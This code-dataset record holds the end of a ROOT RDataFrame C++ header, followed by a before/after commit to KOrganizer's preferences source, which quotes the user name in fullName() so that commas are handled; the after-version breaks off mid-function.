{}\n\n      void operator()(unsigned int slot)\n      {\n         if (fHasBeenCalled[slot] == 1)\n            return;\n         fFun(slot);\n         fHasBeenCalled[slot] = 1;\n      }\n   };\n\n   std::vector<RDFInternal::RActionBase *> fBookedActions; \/\/\/< Non-owning pointers to actions to be run\n   std::vector<RDFInternal::RActionBase *> fRunActions;    \/\/\/< Non-owning pointers to actions already run\n   std::vector<RFilterBase *> fBookedFilters;\n   std::vector<RFilterBase *> fBookedNamedFilters; \/\/\/< Contains a subset of fBookedFilters, i.e. only the named filters\n   std::vector<RRangeBase *> fBookedRanges;\n\n   \/\/\/ Shared pointer to the input TTree. It does not delete the pointee if the TTree\/TChain was passed directly as an\n   \/\/\/ argument to RDataFrame's ctor (in which case we let users retain ownership).\n   std::shared_ptr<TTree> fTree{nullptr};\n   const ColumnNames_t fDefaultColumns;\n   const ULong64_t fNEmptyEntries{0};\n   const unsigned int fNSlots{1};\n   bool fMustRunNamedFilters{true};\n   const ELoopType fLoopType; \/\/\/< The kind of event loop that is going to be run (e.g. on ROOT files, on no files)\n   std::string fToJitDeclare; \/\/\/< Code that should be just-in-time declared right before the event loop\n   std::string fToJitExec;    \/\/\/< Code that should be just-in-time executed right before the event loop\n   const std::unique_ptr<RDataSource> fDataSource; \/\/\/< Owning pointer to a data-source object. Null if no data-source\n   std::map<std::string, std::string> fAliasColumnNameMap; \/\/\/< ColumnNameAlias-columnName pairs\n   std::vector<TCallback> fCallbacks;                      \/\/\/< Registered callbacks\n   std::vector<TOneTimeCallback> fCallbacksOnce; \/\/\/< Registered callbacks to invoke just once before running the loop\n   \/\/\/ A unique ID that identifies the computation graph that starts with this RLoopManager.\n   \/\/\/ Used, for example, to jit objects in a namespace reserved for this computation graph\n   const unsigned int fID = GetNextID();\n\n   std::vector<RCustomColumnBase *> fCustomColumns; \/\/\/< Non-owning container of all custom columns created so far.\n   \/\/\/ Cache of the tree\/chain branch names. Never access directy, always use GetBranchNames().\n   ColumnNames_t fValidBranchNames;\n\n   void RunEmptySourceMT();\n   void RunEmptySource();\n   void RunTreeProcessorMT();\n   void RunTreeReader();\n   void RunDataSourceMT();\n   void RunDataSource();\n   void RunAndCheckFilters(unsigned int slot, Long64_t entry);\n   void InitNodeSlots(TTreeReader *r, unsigned int slot);\n   void InitNodes();\n   void CleanUpNodes();\n   void CleanUpTask(unsigned int slot);\n   void EvalChildrenCounts();\n   static unsigned int GetNextID();\n\npublic:\n   RLoopManager(TTree *tree, const ColumnNames_t &defaultBranches);\n   RLoopManager(ULong64_t nEmptyEntries);\n   RLoopManager(std::unique_ptr<RDataSource> ds, const ColumnNames_t &defaultBranches);\n   RLoopManager(const RLoopManager &) = delete;\n   RLoopManager &operator=(const RLoopManager &) = delete;\n\n   void JitDeclarations();\n   void Jit();\n   RLoopManager *GetLoopManagerUnchecked() final { return this; }\n   void Run();\n   const ColumnNames_t &GetDefaultColumnNames() const;\n   TTree *GetTree() const;\n   ::TDirectory *GetDirectory() const;\n   ULong64_t GetNEmptyEntries() const { return fNEmptyEntries; }\n   RDataSource *GetDataSource() const { return fDataSource.get(); }\n   void Book(RDFInternal::RActionBase *actionPtr);\n   void Deregister(RDFInternal::RActionBase *actionPtr);\n   void Book(RFilterBase *filterPtr);\n   void Deregister(RFilterBase *filterPtr);\n   void Book(RRangeBase *rangePtr);\n   void Deregister(RRangeBase *rangePtr);\n   bool CheckFilters(unsigned int, Long64_t) final;\n   unsigned int GetNSlots() const { return fNSlots; }\n   void Report(ROOT::RDF::RCutFlowReport &rep) const final;\n   \/\/\/ End of recursive chain of calls, does nothing\n   void PartialReport(ROOT::RDF::RCutFlowReport &) const final {}\n   void SetTree(const std::shared_ptr<TTree> &tree) { fTree = tree; }\n   void IncrChildrenCount() final { ++fNChildren; }\n   void StopProcessing() final { ++fNStopsReceived; }\n   void ToJitDeclare(const std::string &s) { fToJitDeclare.append(s); }\n   void ToJitExec(const std::string &s) { fToJitExec.append(s); }\n   void AddColumnAlias(const std::string &alias, const std::string &colName) { fAliasColumnNameMap[alias] = colName; }\n   const std::map<std::string, std::string> &GetAliasMap() const { return fAliasColumnNameMap; }\n   void RegisterCallback(ULong64_t everyNEvents, std::function<void(unsigned int)> &&f);\n   unsigned int GetID() const { return fID; }\n\n   \/\/\/ End of recursive chain of calls, does nothing\n   void AddFilterName(std::vector<std::string> &) {}\n   \/\/\/ For each booked filter, returns either the name or \"Unnamed Filter\"\n   std::vector<std::string> GetFiltersNames();\n\n   \/\/\/ For all the actions, either booked or run\n   std::vector<RDFInternal::RActionBase *> GetAllActions();\n\n   void RegisterCustomColumn(RCustomColumnBase *column) { fCustomColumns.push_back(column); }\n\n   void DeRegisterCustomColumn(RCustomColumnBase *column)\n   {\n      fCustomColumns.erase(std::remove(fCustomColumns.begin(), fCustomColumns.end(), column), fCustomColumns.end());\n   }\n\n   std::vector<RDFInternal::RActionBase *> GetBookedActions() { return fBookedActions; }\n   std::shared_ptr<ROOT::Internal::RDF::GraphDrawing::GraphNode> GetGraph();\n\n   const ColumnNames_t &GetBranchNames();\n};\n\n} \/\/ ns RDF\n} \/\/ ns Detail\n} \/\/ ns ROOT\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    This file is part of KOrganizer.\n\n    Copyright (c) 2001,2003 Cornelius Schumacher <schumacher@kde.org>\n    Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#include <time.h>\n#include <unistd.h>\n\n#include <qdir.h>\n#include <qstring.h>\n#include <qfont.h>\n#include <qcolor.h>\n#include <qmap.h>\n#include <qstringlist.h>\n\n#include <kglobalsettings.h>\n#include <kglobal.h>\n#include <kconfig.h>\n#include <klocale.h>\n#include <kdebug.h>\n#include <kemailsettings.h>\n#include <kstaticdeleter.h>\n#include <kstringhandler.h>\n\n#include <libkmime\/kmime_header_parsing.h>\n\n#include \"koprefs.h\"\n#include <libkpimidentities\/identitymanager.h>\n#include <libkpimidentities\/identity.h>\n#include <libemailfunctions\/email.h>\n#include <kabc\/stdaddressbook.h>\n#include <ktimezones.h>\n#include \"kocore.h\"\n\nKOPrefs *KOPrefs::mInstance = 0;\nstatic KStaticDeleter<KOPrefs> insd;\n\nQColor getTextColor(const QColor &c)\n{\n  float luminance = (c.red() * 0.299) + (c.green() * 0.587) + (c.blue() * 0.114);\n  return (luminance > 128.0) ? QColor( 0, 0 ,0 ) : QColor( 255, 255 ,255 );\n}\n\n\nKOPrefs::KOPrefs() :\n  KOPrefsBase()\n{\n  mCategoryColors.setAutoDelete( true );\n  mResourceColors.setAutoDelete( true );\n\n  mDefaultCategoryColor = QColor( 151, 235, 121 );\n\n  mDefaultResourceColor = QColor();\/\/Default is a color invalid\n\n  mDefaultTimeBarFont = KGlobalSettings::generalFont();\n  \/\/ make a large default time bar font, at least 16 points.\n  mDefaultTimeBarFont.setPointSize(\n    QMAX( mDefaultTimeBarFont.pointSize() + 4, 16 ) );\n\n  mDefaultMonthViewFont = KGlobalSettings::generalFont();\n  \/\/ make it a bit smaller\n  mDefaultMonthViewFont.setPointSize( mDefaultMonthViewFont.pointSize() - 2 );\n\n  KConfigSkeleton::setCurrentGroup( \"General\" );\n\n  addItemPath( \"Html Export File\", mHtmlExportFile,\n   QDir::homeDirPath() + \"\/\" + i18n( \"Default export file\", \"calendar.html\" ) );\n\n  timeBarFontItem()->setDefaultValue( mDefaultTimeBarFont );\n  monthViewFontItem()->setDefaultValue( mDefaultMonthViewFont );\n\n  \/\/ Load it now, not deep within some painting code\n  mMyAddrBookMails = KABC::StdAddressBook::self()->whoAmI().emails();\n}\n\n\nKOPrefs::~KOPrefs()\n{\n  kdDebug(5850) << \"KOPrefs::~KOPrefs()\" << endl;\n}\n\n\nKOPrefs *KOPrefs::instance()\n{\n  if ( !mInstance ) {\n    insd.setObject( mInstance, new KOPrefs() );\n    mInstance->readConfig();\n  }\n\n  return mInstance;\n}\n\nvoid KOPrefs::usrSetDefaults()\n{\n  \/\/ Default should be set a bit smarter, respecting username and locale\n  \/\/ settings for example.\n\n  KEMailSettings settings;\n  QString tmp = settings.getSetting(KEMailSettings::RealName);\n  if ( !tmp.isEmpty() ) setUserName( tmp );\n  tmp = settings.getSetting(KEMailSettings::EmailAddress);\n  if ( !tmp.isEmpty() ) setUserEmail( tmp );\n  fillMailDefaults();\n\n  mTimeBarFont = mDefaultTimeBarFont;\n  mMonthViewFont = mDefaultMonthViewFont;\n\n  setTimeZoneIdDefault();\n\n  KPimPrefs::usrSetDefaults();\n}\n\nvoid KOPrefs::fillMailDefaults()\n{\n  userEmailItem()->swapDefault();\n  QString defEmail = userEmailItem()->value();\n  userEmailItem()->swapDefault();\n\n  if ( userEmail() == defEmail ) {\n    \/\/ No korg settings - but maybe there's a kcontrol[\/kmail] setting available\n    KEMailSettings settings;\n    if ( !settings.getSetting( KEMailSettings::EmailAddress ).isEmpty() )\n      mEmailControlCenter = true;\n  }\n}\n\nvoid KOPrefs::setTimeZoneIdDefault()\n{\n  QString zone;\n\n  zone = KTimezones().local()->name();\n\n  kdDebug() << \"----- time zone: \" << zone << endl;\n\n  mTimeZoneId = zone;\n}\n\nvoid KOPrefs::setCategoryDefaults()\n{\n  mCustomCategories.clear();\n\n  mCustomCategories << i18n(\"Appointment\") << i18n(\"Business\")\n      << i18n(\"Meeting\") << i18n(\"Phone Call\") << i18n(\"Education\")\n      << i18n(\"Holiday\") << i18n(\"Vacation\") << i18n(\"Special Occasion\")\n      << i18n(\"Personal\") << i18n(\"Travel\") << i18n(\"Miscellaneous\")\n      << i18n(\"Birthday\");\n}\n\n\nvoid KOPrefs::usrReadConfig()\n{\n  config()->setGroup(\"General\");\n  mCustomCategories = config()->readListEntry(\"Custom Categories\");\n  if (mCustomCategories.isEmpty()) setCategoryDefaults();\n\n  \/\/ old category colors, ignore if they have the old default\n  \/\/ should be removed a few versions after 3.2...\n  config()->setGroup(\"Category Colors\");\n  QValueList<QColor> oldCategoryColors;\n  QStringList::Iterator it;\n  for (it = mCustomCategories.begin();it != mCustomCategories.end();++it ) {\n    QColor c = config()->readColorEntry(*it, &mDefaultCategoryColor);\n    oldCategoryColors.append( (c == QColor(196,196,196)) ?\n                              mDefaultCategoryColor : c);\n  }\n\n  \/\/ new category colors\n  config()->setGroup(\"Category Colors2\");\n  QValueList<QColor>::Iterator it2;\n  for (it = mCustomCategories.begin(), it2 = oldCategoryColors.begin();\n       it != mCustomCategories.end(); ++it, ++it2 ) {\n      QColor c = config()->readColorEntry(*it, &*it2);\n      if ( c != mDefaultCategoryColor )\n          setCategoryColor(*it,c);\n  }\n\n  config()->setGroup( \"Resources Colors\" );\n  QMap<QString, QString> map = config()->entryMap( \"Resources Colors\" );\n\n  QMapIterator<QString, QString> it3;\n  for( it3 = map.begin(); it3 != map.end(); ++it3 ) {\n    kdDebug(5850)<< \"KOPrefs::usrReadConfig: key: \" << it3.key() << \" value: \"\n      << it3.data()<<endl;\n    setResourceColor( it3.key(), config()->readColorEntry( it3.key(),\n      &mDefaultResourceColor ) );\n  }\n\n\n  if (mTimeZoneId.isEmpty()) {\n    setTimeZoneIdDefault();\n  }\n\n#if 0\n  config()->setGroup(\"FreeBusy\");\n  if( mRememberRetrievePw )\n    mRetrievePassword = KStringHandler::obscure( config()->readEntry( \"Retrieve Server Password\" ) );\n#endif\n  KPimPrefs::usrReadConfig();\n  fillMailDefaults();\n}\n\n\nvoid KOPrefs::usrWriteConfig()\n{\n  config()->setGroup(\"General\");\n  config()->writeEntry(\"Custom Categories\",mCustomCategories);\n\n  config()->setGroup(\"Category Colors2\");\n  QDictIterator<QColor> it(mCategoryColors);\n  while (it.current()) {\n    config()->writeEntry(it.currentKey(),*(it.current()));\n    ++it;\n  }\n\n  config()->setGroup( \"Resources Colors\" );\n  QDictIterator<QColor> it2( mResourceColors );\n  while( it2.current() ) {\n    config()->writeEntry( it2.currentKey(), *( it2.current() ) );\n    ++it2;\n  }\n\n  if( !mFreeBusyPublishSavePassword ) {\n    KConfigSkeleton::ItemPassword *i = freeBusyPublishPasswordItem();\n    i->setValue( \"\" );\n    i->writeConfig( config() );\n  }\n  if( !mFreeBusyRetrieveSavePassword ) {\n    KConfigSkeleton::ItemPassword *i = freeBusyRetrievePasswordItem();\n    i->setValue( \"\" );\n    i->writeConfig( config() );\n  }\n\n#if 0\n  if( mRememberRetrievePw )\n    config()->writeEntry( \"Retrieve Server Password\", KStringHandler::obscure( mRetrievePassword ) );\n  else\n    config()->deleteEntry( \"Retrieve Server Password\" );\n#endif\n\n  KPimPrefs::usrWriteConfig();\n}\n\nvoid KOPrefs::setCategoryColor( const QString &cat, const QColor & color)\n{\n  mCategoryColors.replace( cat, new QColor( color ) );\n}\n\nQColor *KOPrefs::categoryColor( const QString &cat )\n{\n  QColor *color = 0;\n\n  if ( !cat.isEmpty() ) color = mCategoryColors[ cat ];\n\n  if ( color ) return color;\n  else return &mDefaultCategoryColor;\n}\n\n\nbool KOPrefs::hasCategoryColor( const QString& cat ) const\n{\n    return mCategoryColors[ cat ];\n}\n\nvoid KOPrefs::setResourceColor ( const QString &cal, const QColor &color )\n{\n  kdDebug(5850)<<\"KOPrefs::setResourceColor: \" << cal << \" color: \"<<\n    color.name()<<endl;\n  mResourceColors.replace( cal, new QColor( color ) );\n}\n\nQColor* KOPrefs::resourceColor( const QString &cal )\n{\n  QColor *color=0;\n  if( !cal.isEmpty() ) color = mResourceColors[cal];\n\n  \/\/ assign default color if enabled\n  if ( !cal.isEmpty() && !color && assignDefaultResourceColors() ) {\n    QColor defColor( 0x37, 0x7A, 0xBC );\n    if ( defaultResourceColorSeed() > 0 && defaultResourceColorSeed() - 1 < (int)defaultResourceColors().size() ) {\n        defColor = QColor( defaultResourceColors()[defaultResourceColorSeed()-1] );\n    } else {\n        int h, s, v;\n        defColor.getHsv( h, s, v );\n        h = ( defaultResourceColorSeed() % 12 ) * 30;\n        s -= s * ( (defaultResourceColorSeed() \/ 12) % 2 ) * 0.5;\n        defColor.setHsv( h, s, v );\n    }\n    setDefaultResourceColorSeed( defaultResourceColorSeed() + 1 );\n    setResourceColor( cal, defColor );\n    color = mResourceColors[cal];\n  }\n\n  if (color && color->isValid() )\n    return color;\n  else\n    return &mDefaultResourceColor;\n}\n\nQString KOPrefs::fullName()\n{\n  if ( mEmailControlCenter ) {\n    KEMailSettings settings;\n    return settings.getSetting( KEMailSettings::RealName );\n  } else {\n    return userName();\n  }\n}\n\nQString KOPrefs::email()\n{\n  if ( mEmailControlCenter ) {\n    KEMailSettings settings;\n    return settings.getSetting( KEMailSettings::EmailAddress );\n  } else {\n    return userEmail();\n  }\n}\n\nQStringList KOPrefs::allEmails()\n{\n  \/\/ Grab emails from the email identities\n  QStringList lst = KOCore::self()->identityManager()->allEmails();\n  \/\/ Add emails configured in korganizer\n  lst += mAdditionalMails;\n  \/\/ Add emails from the user's kaddressbook entry\n  lst += mMyAddrBookMails;\n  \/\/ Add the email entered as the userEmail here\n  lst += email();\n\n  \/\/ Warning, this list could contain duplicates.\n  return lst;\n}\n\nQStringList KOPrefs::fullEmails()\n{\n  QStringList fullEmails;\n  \/\/ The user name and email from the config dialog:\n  fullEmails << QString(\"%1 <%2>\").arg( fullName() ).arg( email() );\n\n  QStringList::Iterator it;\n  \/\/ Grab emails from the email identities\n  KPIM::IdentityManager *idmanager = KOCore::self()->identityManager();\n  QStringList lst = idmanager->identities();\n  KPIM::IdentityManager::ConstIterator it1;\n  for ( it1 = idmanager->begin() ; it1 != idmanager->end() ; ++it1 ) {\n    fullEmails << (*it1).fullEmailAddr();\n  }\n  \/\/ Add emails configured in korganizer\n  lst = mAdditionalMails;\n  for ( it = lst.begin(); it != lst.end(); ++it ) {\n    fullEmails << QString(\"%1 <%2>\").arg( fullName() ).arg( *it );\n  }\n  \/\/ Add emails from the user's kaddressbook entry\n  KABC::Addressee me = KABC::StdAddressBook::self()->whoAmI();\n  lst = me.emails();\n  for ( it = lst.begin(); it != lst.end(); ++it ) {\n    fullEmails << me.fullEmail( *it );\n  }\n\n  \/\/ Warning, this list could contain duplicates.\n  return fullEmails;\n}\n\nbool KOPrefs::thatIsMe( const QString& _email )\n{\n  \/\/ NOTE: this method is called for every created agenda view item, so we need to keep\n  \/\/ performance in mind\n\n  \/* identityManager()->thatIsMe() is quite expensive since it does parsing of\n     _email in a way which is unnecessarily complex for what we can have here,\n     so we do that ourselves. This makes sense since this\n\n  if ( KOCore::self()->identityManager()->thatIsMe( _email ) )\n    return true;\n  *\/\n\n  \/\/ in case email contains a full name, strip it out\n  \/\/ the below is the simpler but slower version of the following KMime code\n  \/\/ const QString email = KPIM::getEmailAddress( _email );\n  const QCString tmp = _email.utf8();\n  const char *cursor = tmp.data();\n  const char *end = tmp.data() + tmp.length();\n  KMime::Types::Mailbox mbox;\n  KMime::HeaderParsing::parseMailbox( cursor, end, mbox );\n  const QString email = mbox.addrSpec.asString();\n\n  for ( KPIM::IdentityManager::ConstIterator it = KOCore::self()->identityManager()->begin();\n        it != KOCore::self()->identityManager()->end(); ++it ) {\n    if ( email == (*it).emailAddr() )\n      return true;\n  }\n\n  if ( mAdditionalMails.find( email ) != mAdditionalMails.end() )\n    return true;\n  QStringList lst = mMyAddrBookMails;\n  if ( lst.find( email ) != lst.end() )\n    return true;\n  return false;\n}\n<commit_msg>do a cleanup on the user specified mail address name, as it might contain commas or other quotable chars.<commit_after>\/*\n    This file is part of KOrganizer.\n\n    Copyright (c) 2001,2003 Cornelius Schumacher <schumacher@kde.org>\n    Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#include <time.h>\n#include <unistd.h>\n\n#include <qdir.h>\n#include <qstring.h>\n#include <qfont.h>\n#include <qcolor.h>\n#include <qmap.h>\n#include <qstringlist.h>\n\n#include <kglobalsettings.h>\n#include <kglobal.h>\n#include <kconfig.h>\n#include <klocale.h>\n#include <kdebug.h>\n#include <kemailsettings.h>\n#include <kstaticdeleter.h>\n#include <kstringhandler.h>\n\n#include <libkmime\/kmime_header_parsing.h>\n\n#include \"koprefs.h\"\n#include <libkpimidentities\/identitymanager.h>\n#include <libkpimidentities\/identity.h>\n#include <libemailfunctions\/email.h>\n#include <kabc\/stdaddressbook.h>\n#include <ktimezones.h>\n#include \"kocore.h\"\n\nKOPrefs *KOPrefs::mInstance = 0;\nstatic KStaticDeleter<KOPrefs> insd;\n\nQColor getTextColor(const QColor &c)\n{\n  float luminance = (c.red() * 0.299) + (c.green() * 0.587) + (c.blue() * 0.114);\n  return (luminance > 128.0) ? QColor( 0, 0 ,0 ) : QColor( 255, 255 ,255 );\n}\n\n\nKOPrefs::KOPrefs() :\n  KOPrefsBase()\n{\n  mCategoryColors.setAutoDelete( true );\n  mResourceColors.setAutoDelete( true );\n\n  mDefaultCategoryColor = QColor( 151, 235, 121 );\n\n  mDefaultResourceColor = QColor();\/\/Default is a color invalid\n\n  mDefaultTimeBarFont = KGlobalSettings::generalFont();\n  \/\/ make a large default time bar font, at least 16 points.\n  mDefaultTimeBarFont.setPointSize(\n    QMAX( mDefaultTimeBarFont.pointSize() + 4, 16 ) );\n\n  mDefaultMonthViewFont = KGlobalSettings::generalFont();\n  \/\/ make it a bit smaller\n  mDefaultMonthViewFont.setPointSize( mDefaultMonthViewFont.pointSize() - 2 );\n\n  KConfigSkeleton::setCurrentGroup( \"General\" );\n\n  addItemPath( \"Html Export File\", mHtmlExportFile,\n   QDir::homeDirPath() + \"\/\" + i18n( \"Default export file\", \"calendar.html\" ) );\n\n  timeBarFontItem()->setDefaultValue( mDefaultTimeBarFont );\n  monthViewFontItem()->setDefaultValue( mDefaultMonthViewFont );\n\n  \/\/ Load it now, not deep within some painting code\n  mMyAddrBookMails = KABC::StdAddressBook::self()->whoAmI().emails();\n}\n\n\nKOPrefs::~KOPrefs()\n{\n  kdDebug(5850) << \"KOPrefs::~KOPrefs()\" << endl;\n}\n\n\nKOPrefs *KOPrefs::instance()\n{\n  if ( !mInstance ) {\n    insd.setObject( mInstance, new KOPrefs() );\n    mInstance->readConfig();\n  }\n\n  return mInstance;\n}\n\nvoid KOPrefs::usrSetDefaults()\n{\n  \/\/ Default should be set a bit smarter, respecting username and locale\n  \/\/ settings for example.\n\n  KEMailSettings settings;\n  QString tmp = settings.getSetting(KEMailSettings::RealName);\n  if ( !tmp.isEmpty() ) setUserName( tmp );\n  tmp = settings.getSetting(KEMailSettings::EmailAddress);\n  if ( !tmp.isEmpty() ) setUserEmail( tmp );\n  fillMailDefaults();\n\n  mTimeBarFont = mDefaultTimeBarFont;\n  mMonthViewFont = mDefaultMonthViewFont;\n\n  setTimeZoneIdDefault();\n\n  KPimPrefs::usrSetDefaults();\n}\n\nvoid KOPrefs::fillMailDefaults()\n{\n  userEmailItem()->swapDefault();\n  QString defEmail = userEmailItem()->value();\n  userEmailItem()->swapDefault();\n\n  if ( userEmail() == defEmail ) {\n    \/\/ No korg settings - but maybe there's a kcontrol[\/kmail] setting available\n    KEMailSettings settings;\n    if ( !settings.getSetting( KEMailSettings::EmailAddress ).isEmpty() )\n      mEmailControlCenter = true;\n  }\n}\n\nvoid KOPrefs::setTimeZoneIdDefault()\n{\n  QString zone;\n\n  zone = KTimezones().local()->name();\n\n  kdDebug() << \"----- time zone: \" << zone << endl;\n\n  mTimeZoneId = zone;\n}\n\nvoid KOPrefs::setCategoryDefaults()\n{\n  mCustomCategories.clear();\n\n  mCustomCategories << i18n(\"Appointment\") << i18n(\"Business\")\n      << i18n(\"Meeting\") << i18n(\"Phone Call\") << i18n(\"Education\")\n      << i18n(\"Holiday\") << i18n(\"Vacation\") << i18n(\"Special Occasion\")\n      << i18n(\"Personal\") << i18n(\"Travel\") << i18n(\"Miscellaneous\")\n      << i18n(\"Birthday\");\n}\n\n\nvoid KOPrefs::usrReadConfig()\n{\n  config()->setGroup(\"General\");\n  mCustomCategories = config()->readListEntry(\"Custom Categories\");\n  if (mCustomCategories.isEmpty()) setCategoryDefaults();\n\n  \/\/ old category colors, ignore if they have the old default\n  \/\/ should be removed a few versions after 3.2...\n  config()->setGroup(\"Category Colors\");\n  QValueList<QColor> oldCategoryColors;\n  QStringList::Iterator it;\n  for (it = mCustomCategories.begin();it != mCustomCategories.end();++it ) {\n    QColor c = config()->readColorEntry(*it, &mDefaultCategoryColor);\n    oldCategoryColors.append( (c == QColor(196,196,196)) ?\n                              mDefaultCategoryColor : c);\n  }\n\n  \/\/ new category colors\n  config()->setGroup(\"Category Colors2\");\n  QValueList<QColor>::Iterator it2;\n  for (it = mCustomCategories.begin(), it2 = oldCategoryColors.begin();\n       it != mCustomCategories.end(); ++it, ++it2 ) {\n      QColor c = config()->readColorEntry(*it, &*it2);\n      if ( c != mDefaultCategoryColor )\n          setCategoryColor(*it,c);\n  }\n\n  config()->setGroup( \"Resources Colors\" );\n  QMap<QString, QString> map = config()->entryMap( \"Resources Colors\" );\n\n  QMapIterator<QString, QString> it3;\n  for( it3 = map.begin(); it3 != map.end(); ++it3 ) {\n    kdDebug(5850)<< \"KOPrefs::usrReadConfig: key: \" << it3.key() << \" value: \"\n      << it3.data()<<endl;\n    setResourceColor( it3.key(), config()->readColorEntry( it3.key(),\n      &mDefaultResourceColor ) );\n  }\n\n\n  if (mTimeZoneId.isEmpty()) {\n    setTimeZoneIdDefault();\n  }\n\n#if 0\n  config()->setGroup(\"FreeBusy\");\n  if( mRememberRetrievePw )\n    mRetrievePassword = KStringHandler::obscure( config()->readEntry( \"Retrieve Server Password\" ) );\n#endif\n  KPimPrefs::usrReadConfig();\n  fillMailDefaults();\n}\n\n\nvoid KOPrefs::usrWriteConfig()\n{\n  config()->setGroup(\"General\");\n  config()->writeEntry(\"Custom Categories\",mCustomCategories);\n\n  config()->setGroup(\"Category Colors2\");\n  QDictIterator<QColor> it(mCategoryColors);\n  while (it.current()) {\n    config()->writeEntry(it.currentKey(),*(it.current()));\n    ++it;\n  }\n\n  config()->setGroup( \"Resources Colors\" );\n  QDictIterator<QColor> it2( mResourceColors );\n  while( it2.current() ) {\n    config()->writeEntry( it2.currentKey(), *( it2.current() ) );\n    ++it2;\n  }\n\n  if( !mFreeBusyPublishSavePassword ) {\n    KConfigSkeleton::ItemPassword *i = freeBusyPublishPasswordItem();\n    i->setValue( \"\" );\n    i->writeConfig( config() );\n  }\n  if( !mFreeBusyRetrieveSavePassword ) {\n    KConfigSkeleton::ItemPassword *i = freeBusyRetrievePasswordItem();\n    i->setValue( \"\" );\n    i->writeConfig( config() );\n  }\n\n#if 0\n  if( mRememberRetrievePw )\n    config()->writeEntry( \"Retrieve Server Password\", KStringHandler::obscure( mRetrievePassword ) );\n  else\n    config()->deleteEntry( \"Retrieve Server Password\" );\n#endif\n\n  KPimPrefs::usrWriteConfig();\n}\n\nvoid KOPrefs::setCategoryColor( const QString &cat, const QColor & color)\n{\n  mCategoryColors.replace( cat, new QColor( color ) );\n}\n\nQColor *KOPrefs::categoryColor( const QString &cat )\n{\n  QColor *color = 0;\n\n  if ( !cat.isEmpty() ) color = mCategoryColors[ cat ];\n\n  if ( color ) return color;\n  else return &mDefaultCategoryColor;\n}\n\n\nbool KOPrefs::hasCategoryColor( const QString& cat ) const\n{\n    return mCategoryColors[ cat ];\n}\n\nvoid KOPrefs::setResourceColor ( const QString &cal, const QColor &color )\n{\n  kdDebug(5850)<<\"KOPrefs::setResourceColor: \" << cal << \" color: \"<<\n    color.name()<<endl;\n  mResourceColors.replace( cal, new QColor( color ) );\n}\n\nQColor* KOPrefs::resourceColor( const QString &cal )\n{\n  QColor *color=0;\n  if( !cal.isEmpty() ) color = mResourceColors[cal];\n\n  \/\/ assign default color if enabled\n  if ( !cal.isEmpty() && !color && assignDefaultResourceColors() ) {\n    QColor defColor( 0x37, 0x7A, 0xBC );\n    if ( defaultResourceColorSeed() > 0 && defaultResourceColorSeed() - 1 < (int)defaultResourceColors().size() ) {\n        defColor = QColor( defaultResourceColors()[defaultResourceColorSeed()-1] );\n    } else {\n        int h, s, v;\n        defColor.getHsv( h, s, v );\n        h = ( defaultResourceColorSeed() % 12 ) * 30;\n        s -= s * ( (defaultResourceColorSeed() \/ 12) % 2 ) * 0.5;\n        defColor.setHsv( h, s, v );\n    }\n    setDefaultResourceColorSeed( defaultResourceColorSeed() + 1 );\n    setResourceColor( cal, defColor );\n    color = mResourceColors[cal];\n  }\n\n  if (color && color->isValid() )\n    return color;\n  else\n    return &mDefaultResourceColor;\n}\n\nQString KOPrefs::fullName()\n{\n  if ( mEmailControlCenter ) {\n    KEMailSettings settings;\n    return settings.getSetting( KEMailSettings::RealName );\n  } else {\n    \/\/ the username as it might contain commas and other quotable chars.\n    QString tusername = KPIM::quoteNameIfNecessary( userName() );\n\n    QString tname, temail;\n    KPIM::getNameAndMail( tusername, tname, temail ); \/\/ ignore return value\n                                                      \/\/ which is always false\n    return tname;\n  }\n}\n\nQString KOPrefs::email()\n{\n  if ( mEmailControlCenter ) {\n    KEMailSettings settings;\n    return settings.getSetting( KEMailSettings::EmailAddress );\n  } else {\n    return userEmail();\n  }\n}\n\nQStringList KOPrefs::allEmails()\n{\n  \/\/ Grab emails from the email identities\n  QStringList lst = KOCore::self()->identityManager()->allEmails();\n  \/\/ Add emails configured in korganizer\n  lst += mAdditionalMails;\n  \/\/ Add emails from the user's kaddressbook entry\n  lst += mMyAddrBookMails;\n  \/\/ Add the email entered as the userEmail here\n  lst += email();\n\n  \/\/ Warning, this list could contain duplicates.\n  return lst;\n}\n\nQStringList KOPrefs::fullEmails()\n{\n  QStringList fullEmails;\n  \/\/ The user name and email from the config dialog:\n  fullEmails << QString(\"%1 <%2>\").arg( fullName() ).arg( email() );\n\n  QStringList::Iterator it;\n  \/\/ Grab emails from the email identities\n  KPIM::IdentityManager *idmanager = KOCore::self()->identityManager();\n  QStringList lst = idmanager->identities();\n  KPIM::IdentityManager::ConstIterator it1;\n  for ( it1 = idmanager->begin() ; it1 != idmanager->end() ; ++it1 ) {\n    fullEmails << (*it1).fullEmailAddr();\n  }\n  \/\/ Add emails configured in korganizer\n  lst = mAdditionalMails;\n  for ( it = lst.begin(); it != lst.end(); ++it ) {\n    fullEmails << QString(\"%1 <%2>\").arg( fullName() ).arg( *it );\n  }\n  \/\/ Add emails from the user's kaddressbook entry\n  KABC::Addressee me = KABC::StdAddressBook::self()->whoAmI();\n  lst = me.emails();\n  for ( it = lst.begin(); it != 